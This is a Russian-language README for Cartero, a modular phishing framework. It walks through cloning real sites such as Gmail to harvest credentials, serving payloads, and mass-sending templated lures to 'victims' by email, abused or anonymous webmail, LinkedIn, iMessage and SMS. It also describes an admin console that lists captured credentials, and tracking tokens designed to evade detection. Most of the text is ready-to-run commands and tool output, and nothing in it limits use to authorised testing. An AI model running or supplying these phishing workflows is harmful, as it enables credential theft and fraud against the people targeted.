
Модульный фишинговый фреймворк с CLI для клонирования сайтов, отправки шаблонных писем и запуска фишинговых кампаний через email, SMS, iMessage и LinkedIn.
http://section9labs.github.io/Cartero/
Мощный Phishing Framework с полнофункциональным CLI-интерфейсом. Проект родился из необходимости, возникшей за годы работы с инструментами, которые просто не справлялись со своей задачей. Несмотря на множество существующих проектов, нам не удалось найти подходящее решение, которое сочеталло бы в себе и простоту использования, и гибкость настройки.
Cartero — это модульный проект, разделённый на команды, выполняющие независимые задачи (например, Mailer, Cloner, Listener, AdminConsole и т.д.). Кроме того, каждая подкоманда имеет повторяемые параметры конфигурации для настройки и автоматизации вашей работы.
Например, если мы хотим склонировать gmail.com, нам достаточно выполнить следующие команды.```shell ❯❯❯ ./cartero Cloner --url https://gmail.com --path /tmp --webserver gmail_com ❯❯❯ ./cartero Listener --webserver /tmp/gmail_com -p 80 Launching mongodb Puma starting in single mode...
Как только у нас есть работающий сайт, мы можем просто использовать команду Mailer для отправки шаблонных писем нашим жертвам:```shell
❯❯❯ ./cartero Mailer --data victims.json --server gmail_com --subject "Internal Memo" --htmlbody email_html.html --attachment payload.pdf --from "John Doe <[email protected]>"
Sending [email protected]
Sending [email protected]
Sending [email protected]
Присоединяйтесь к нашему сообществу Slack по адресу https://carteroslack.herokuapp.com/
Использование brew 2.1.5 ruby в качестве библиотеки ruby по умолчанию```shell ❯❯❯ curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash
Использование установки ruby RVM 2.1.5```shell
❯❯❯ curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash -s -- -r
❯❯❯ \curl -sSL https://get.rvm.io | bash -s stable --ruby
##### MongoDB
Cartero использует MongoDB + библиотеку MongoID для хранения данных на стороне Listener и Admin.
На OSX:```shell
❯❯❯ brew install mongodb
В Ubuntu / Kali / Debian```shell ❯❯❯ apt-get install mongodb
В Arch Linux```
❯❯❯ pacman -Syu mongodb
❯❯❯ git clone https://github.com/section9labs/Cartero ❯❯❯ cd Cartero ❯❯❯ gem install bundle ❯❯❯ bundle install ❯❯❯ cd bin
### Использование
### Команды
Cartero — это очень мощный и простой в использовании CLI.```shell
❯❯❯ ./cartero
Usage: cartero [options]
List of Commands:
AdminConsole, AdminWeb, Mailer, Cloner, Listener, Servers, Templates
Global options:
--proxy [HOST:PORT] Sets TCPSocket Proxy server
-c, --config [CONFIG_FILE] Provide a different cartero config file
-v, --[no-]verbose Run verbosely
-p [PORT_1,PORT_2,..,PORT_N], Global Flag fo Mailer and Webserver ports
--ports
-m, --mongodb [HOST:PORT] Global Flag fo Mailer and Webserver ports
-d, --debug Sets debug flag on/off
--editor [EDITOR] Edit Server
Common options:
-h, --help [COMMAND] Show this message
--list-commands Prints list of commands for bash completion
--version Shows cartero CLI version
Это простая обёртка для MongoDB, которая позволяет нам запускать и останавливать базу данных с соответствующими командами и в правильном пути ~/.cartero.```shell ❯❯❯ ./cartero Mongo Usage: Cartero Mongo [options] -s, --start Start MongoDB -k, --stop Stop MongoDB -r, --restart Restart MongoDB -b, --bind [HOST:PORT] Set MongoDB bind_ip and port
Common options: -h, --help Show this message --list-options Show list of available options
#### Cloner
WebSite Cloner, который позволяет загружать и преобразовывать веб-сайт в приложение Cartero WebServer.
Мы можем быстро и легко настроить веб-сайт для сбора учетных данных, серверных полезных нагрузок или полностью изменить сайт для любых целей.```shell
❯❯❯ ./cartero Cloner
Usage: Cartero Cloner [options]
-U, --url [URL_PATH] Full Path of site to clone
-W, --webserver [SERVER_NAME] Sets WebServer name to use
-p, --path [PATH] Sets path to save webserver
-P, --payload [PAYLOAD_PATH] Sets payload path
--useragent [UA_STRING] Sets user agent for cloning
--wget Use wget to clone url
--apache Generate Apache Proxy conf
Common options:
-h, --help Show this message
--list-options Show list of available options
По умолчанию команда использует нашу реализацию на Ruby для загрузки и преобразования ссылок для рендеринга, но мы также поддерживаем опцию --wget, которая использует локальную системную команду wget.
Слушатель отвечает за запуск WebServer, созданного через Cloner, или вручную созданного сайта. По умолчанию, если сайт не указан, мы предоставляем очень простой веб-сайт.```shell ❯❯❯ ./cartero Listener Usage: Cartero Listener [options] -i, --ip [1.1.1.1] Sets IP interface, default is 0.0.0.0 -p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan --ports -s, --ssl Run over SSL. [this also requires --sslcert and --sslkey] -C, --sslcert [CERT_PATH] Sets Email Payload Ports to scan -K, --sslkey [KEY_PATH] Sets SSL key to use for Listener. -V, --views [VIEWS_FOLDER] Sets SSL Certificate to use for Listener. -P, --public [PUBLIC_FOLDER] Sets a Sinatra public_folder -W [WEBSERVER_FOLDER], Sets the sinatra full path from cloner. --webserver --payload [PAYLOAD] Sets a payload download to serve on /download --customapp [CUSTOM_SINATRA] Sets a custom Sinatra::Base WebApp. Important, WebApp name should be camelized of filename
Common options: -h, --help Show this message --list-options Show list of available options
Веб-серверы поддерживают SSL-ключи и виртуальные хосты на нескольких IP-адресах, именах хостов и портах.
#### Серверы
Для отправки кампаний по электронной почте нам необходимо настроить почтовые серверы, и эта команда позволяет Cartero создавать, хранить и перечислять серверы. Все данные хранятся в конфигурационном каталоге ~/.cartero.```shell
./cartero Servers
Usage: Cartero Servers [options]
-a, --add [NAME] Add Server
-e, --edit [NAME] Edit Server
-d, --delete [NAME] Edit Server
-l, --list List servers
Configuration options:
-T, --type [TYPE] Set the type
-U, --url [DOMAIN] Set the Mail or WebMail url/address
-M, --method [METHOD] Sets the WebMail Request Method to use [GET|POST]
--api-access [API_KEY] Sets the Linkedin API Access Key
--api-secret [API_SECRET] Sets the Linkedin API Secret Key
--oauth-token [OAUTH_TOKEN] Sets the Linkedin OAuth Token Key
--oauth-secret [OAUTH_SECRET]
Sets the Linkedin OAuth Secret Key
Common options:
-h, --help Show this message
--list-options Show list of available options
Как и серверы, email-кампании также нуждаются в предварительно заданном шаблоне для отправки контента жертвам. Этот модуль позволяет атакующему отслеживать, создавать, просматривать и редактировать шаблоны, используемые в его кампании.
Примечание: Настраивать шаблоны здесь необязательно — Mailer принимает прямой путь к шаблонам писем из CLI.```shell ❯❯❯ ./cartero Templates Usage: Cartero Templates [options] -a, --add [NAME] Add Template -e, --edit [NAME] Edit Template -d, --delete [NAME] Edit Template -l, --list List Templates -h, --help Show this message
#### Mailer
Основная команда и компонент в Cartero Framework -- она позволяет Cartero отправлять настраиваемые шаблонные письма на один или несколько адресов электронной почты.
Каждое письмо можно настроить с помощью мощного шаблонизатора erb, что позволяет пользователям создавать сложные программные правила внутри шаблонов для отправки массовых и очень целевых писем.
Для получения дополнительной информации о том, как создавать настраиваемые шаблоны, обратитесь к нашим Примерам.```shell
❯❯❯ ./cartero Mailer
Usage: Cartero Mailer [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets Email server to use
-s, --subject [EMAIL_SUBJECT] Sets Email subject
-f, --from [EMAIL_FROM] Sets Email from
-r, --reply-to [EMAIL_REPLY_TO] Sets Email from
-b, --body [FILE_PATH] Sets Email Text Body
-B, --htmlbody [FILE_PATH] Sets Email HTML Body
-c, --charset [CHARSET] Sets Email charset
-C [CONTENT_TYPE], Sets Email content type
--content-type
-a [FILE_1,FILE_2,..,FILE_N], Sets Email Attachments
--attachment
-p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan
--ports
Common options:
-h, --help Show this message
--list-options Show list of available options
Эта команда поддерживает альтернативу SMTP / IMAP серверам, отправляя сообщения с использованием известных уязвимых или анонимных веб-почтовых сервисов через веб-запросы.```shell ❯❯❯ ./cartero WebMailer Usage: Cartero WebMailer [options] -R, --raw [RAW_REQUEST_FILE] Sets WebMail Raw Request -S, --server [SERVER_NAME] Sets WebMail server to use -U, --url [URL:PORT] Sets WebMail server url to use -H [HEADER:VAL\nHEADER:VAL], Sets WebMail Headers to use --headers -C, --cookies [COOKIES] Sets WebMail Cookies to use -D, --data [DATA_FILE] File containing template data sets -s, --subject [EMAIL_SUBJECT] Sets Email subject -f, --from [EMAIL_FROM] Sets Email from -r, --reply-to [EMAIL_REPLY_TO] Sets Email reply-to -b, --body [REQUEST_FILE_PATH] Sets Email Text request query Body -p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan --ports
Common options: -h, --help Show this message --list-options Show list of available options
Команда может использоваться двумя основными способами. Первый — с использованием raw-команды, например той, которую мы получаем при перехвате трафика через веб-прокси (например, Burp Proxy), или с помощью команды servers, доступной в Cartero.
#####Пример веб-почтового сервера для send-mail.org```json
{
"name": "send-email",
"type": "webmail",
"options": {
"url": "http://send-email.org/send",
"method": "POST",
"cookies": "",
"headers": {
"Host": "send-email.org",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": "http://send-email.org/",
"Content-Length": "126",
"Connection": "keep-alive",
"Pragma": "no-cache"
}
},
"confirmation" : "Your message was sent!"
}
Используя этот предварительно настроенный запрос, мы можем легко отправлять сообщения, используя те же наборы данных для Mailer и те же типы шаблонов. Пример доступен в /templates/mail/sample.web
#####Пример команды:```shell ❯❯❯ ./cartero WebMailer -S webmail -D ~/sample.json -b ../templates/mail/sample.web -r [email protected]
#### LinkedIn
Команда LinkedIn — первое дополнение, связанное с социальной сетью, в фреймворке Cartero. Этот плагин позволяет атакующим использовать социальную платформу для отправки сообщений и атаки на пользователей, не покидая LinkedIn.```shell
❯❯❯ ./cartero LinkedIn
Usage: Cartero LinkedIn [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets Email server to use
-s, --subject [MESSAGE_SUBJECT] Sets LinkedIn Message subject
-b, --body [FILE_PATH] Sets LinkedIn Message Body
-l, --list [CONNECTIONS|GROUPS] List json of (connections or groups)
--send [MESSAGE|GROUP_UPDATE]
Send one or more (message/s or group/s updates)
-o, --save [FILE_PATH] Sets LinkedIn Message Body
Common options:
-h, --help Show this message
--list-options Show list of available options
Команда требует developer API и oauth key в профиле атакующего. Их легко получить на https://www.linkedin.com/secure/developer, а новый шаблон сервера можно создать с помощью команды Server.
Позволяет Cartero на OS X отправлять iMessages на адреса жертв точно так же, как электронные письма, но они будут отображаться на каждом iDevice, привязанном к их Apple ID.
Предыстория: Прочитав новости о том, как китайские спамеры злоупотребляют тем фактом, что сообщения iMessage отображаются на всех устройствах, связанных с учётной записью/записями, была быстро разработана команда, позволяющая пользователям Cartero также иметь эту функцию в составе Framework.
Важно: Пока это работает только на OSX```shell ❯❯❯ ./cartero IMessage Usage: Cartero IMessage [options] IMPORTANT: This command only works on OSX
-D, --data [DATA_FILE] File containing template data sets
-A, --attachment [ATTACHMENT] Sets iMessage file path to send
-b, --body [BODY_FILE] Sets iMessage message
-m, --message [MESSAGE] Sets iMessage message
Common options: -h, --help Show this message --list-options Show list of available options
iMessage не позволяет отправлять одно сообщение, содержащее одновременно текст и вложения, но когда указаны оба, сообщение будет разделено и отправлено как два отдельных сообщения.
#####Пример команды```shell
❯❯❯ ./cartero IMessage --data /Users/cartero/Desktop/test.json -b ../templates/mail/sample.imsg -a /Users/cartero/Downloads/jon.jpg
Если у вас есть аккаунт GoogleVoice и вы хотите автоматически отправлять SMS, это может быть удобным способом сделать это. Он использует ту же инфраструктуру, что и все остальные команды.````shell ❯❯❯ ./cartero GoogleVoice Usage: Cartero GoogleVoice [options] -D, --data [DATA_FILE] File containing template data sets -S, --server [SERVER_NAME] Sets SMS server to use -b, --body [FILE_PATH] Sets SMS Text Body -m, --message [MESSAGE] Sets SMS message -u, --username [USER] Sets Google Voice Username -p, --password [PWD] Sets Google Voice password
Common options: -h, --help Show this message --list-options Show list of available options
#### Twilio
Если у вас есть учётная запись Twilio, и вы хотите автоматически отправлять SMS, это может быть ещё одним способом отправки SMS. Стоит отметить, что это платная услуга, и для неё требуется действующий токен доступа (sid) и секрет (secret_token). Для получения дополнительной информации, пожалуйста, обратитесь к веб-сайту Twilio: https://www.twilio.com/sms/api````shell
❯❯❯ ./cartero Twilio
Usage: Cartero Twilio [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets SMS server to use
-f, --from [NUMBER] Sets SMS from number to use
-b, --body [FILE_PATH] Sets SMS Text Body
-m, --message [MESSAGE] Sets SMS message
-u, --sid [SID] Sets Twilio Username
-p, --token [TOKEN] Sets Twilio password
-A, --attachment [PATH_1||PATH_2||PATH_3] Sets Twilio MMS URL image paths to send
Common options:
-h, --help Show this message
--list-options Show list of available options
Веб-интерфейс AdminWeb — это простое веб-приложение, которое позволяет атакующему получать информацию обо всех кампаниях.```shell ❯❯❯ ./cartero AdminConsole Usage: Cartero AdminConsole [options] -i, --ip [1.1.1.1] Sets IP interface, default is 0.0.0.0 -p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan --ports -s, --ssl Run over SSL. [this also requires --sslcert and --sslkey] -C, --sslcert [CERT_PATH] Sets Email Payload Ports to scan -K, --sslkey [KEY_PATH] Sets Email Payload Ports to scan
Common options: -h, --help Show this message --list-options Show list of available options
#### AdminConsole
Admin Console — это инструмент командной строки, который позволяет выводить информацию о Persons, Campaigns, Hits и собранных Credentials.```shell
❯❯❯ ./cartero AdminConsole
Usage: Cartero AdminConsole [options]
-p, --persons [LATEST_N] Display the list of persons that responded
-i, --hits [LATEST_N] Display the list of hits
-c, --creds [LATEST_N] Display the list of Credentials
-a, --all Sets Email Payload Ports to scan
-f, --filter flag to search by parameters
--email [EMAIL] Display the list of hits
--campaign [CAMPAIGN] Display the list of hits
--ip [IP_ADDRESS] Display the list of hits
Common options:
-h, --help Show this message
--list-options Show list of available options
Команды имеют довольно простую структуру. Примеры команд Framework хранятся в Cartero/lib/cartero/commands/*.rb и ~/.cartero/commands/*.rb.```ruby module Cartero module Commands class CommandName < ::Cartero::Command
description( name: "Long Command Name Here", description: "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.", author: ["Author Name <noname [©] cartero.com>"], type:"General", license: "LGPL", references: [ "https://section9labs.github.io/Cartero", "https://section9labs.github.io/Cartero" ] )
def initialize super do |opts| #OptionsParser options available here. opts.on("-x", "--xoption [DATA_FILE]", String, "Description of command option") do |data| @options.xoption = data end opts.on("-y", "--yoption [DATA_FILE]", String, "Description of command option") do |data| @options.xoption = data end # help() option already provided. # --list-options for auto-complete automatic. end end
def setup # This will be hooked and run before run(). # It is meant as a method so the commands can run everything before that. end
def run # Everything that will run. end
def after # This is the place to run clean-up code. end end end end
### Шаблоны писем
Электронные письма — это простые txt-файлы или ограниченные HTML-файлы, в зависимости от используемого формата. Cartero поддерживает сложную шаблонизацию с помощью библиотеки erb (Ruby) и CLI-интерфейса, помогающего создавать и настраивать шаблоны обоих форматов.
Файлы можно широко настраивать для кампании через erb, который обеспечивает динамическую подстановку и программные решения во время выполнения.
Ещё одна важная особенность — зашифрованный self[:payload], который следует добавлять в каждый шаблон письма; он позволяет Cartero идентифицировать исходную сущность независимо от множества пересылок или кликов. Эта небольшая полезная нагрузка шифруется с помощью случайно сгенерированного ключа, что позволяет атакующим сохранять исходные данные в безопасности и скрытыми от обнаружения.
**ОБРАЗЕЦ ФАЙЛА ДАННЫХ**```json
[{
"email": "[email protected]",
"name": "John Doe"
}, {
"email": "[email protected]",
"name": "Gas Hill"
}, {
"email": "[email protected]",
"name": "John Doe 2"
}, {
"email": "[email protected]",
"name": "Jane Doe - Hotmail",
"subject": "Hotmail Test 123"
}]
ОБРАЗЕЦ HTML-ШАБЛОНА```html
This is an automated email to your email <%= self[:email] %>.
<% if self[:ports] %> <% self[:ports].each do |port| %> /image?key=<%= self[:payload] %>"> <% end %> <% end %>
**ШАБЛОН ТЕКСТОВОГО ОБРАЗЦА**```txt
Hola <%= self[:name] %>,
This email needs to be displayed as HTML.
This is an automated email to your email<%= self[:email] %>.
In addition, this email can also be displayed securely
on http://192.168.1.216:8080/click?key=<%= self[:payload] %>
cheers,
<%= self[:from_name] %>
Управление серверами осуществляется с помощью команды Servers, которая позволяет добавлять, редактировать и удалять серверы. Примечание: серверы можно редактировать вручную в ~/.cartero/servers/*.json
####smtp```json { "name": "gmail", "type": "smtp", "options": { "address": "smtp.yourserver.com", "port": 25, "user_name": "user", "password": "password", "authentication": "plain", "domain": "localhost.localdomain" } }
####linkedin```json
{
"name": "linkedin",
"type": "linkedin",
"options": {
"api_access": "api_access",
"api_secret": "api_secret",
"oauth_token": "oauth_token",
"oauth_secret": "oauth_secret"
}
}
####веб-почта```json { "name": "webmail-sample", "type": "webmail", "options": { "url": "http://www.send-email.com/data/send/email", "method": "POST", "cookies": "sdajsda09s7das923i3j2l131;21381903810", "headers": { "x-forward": "asdadadasad" } }, "confirmation" : null }
### CHANGELOG
- [CHANGELOG](https://github.com/mrbrutti/cartero/blob/HEAD/CHANGELOG.md)
### TODO
- [TODO](https://github.com/mrbrutti/cartero/blob/HEAD/TODO.md)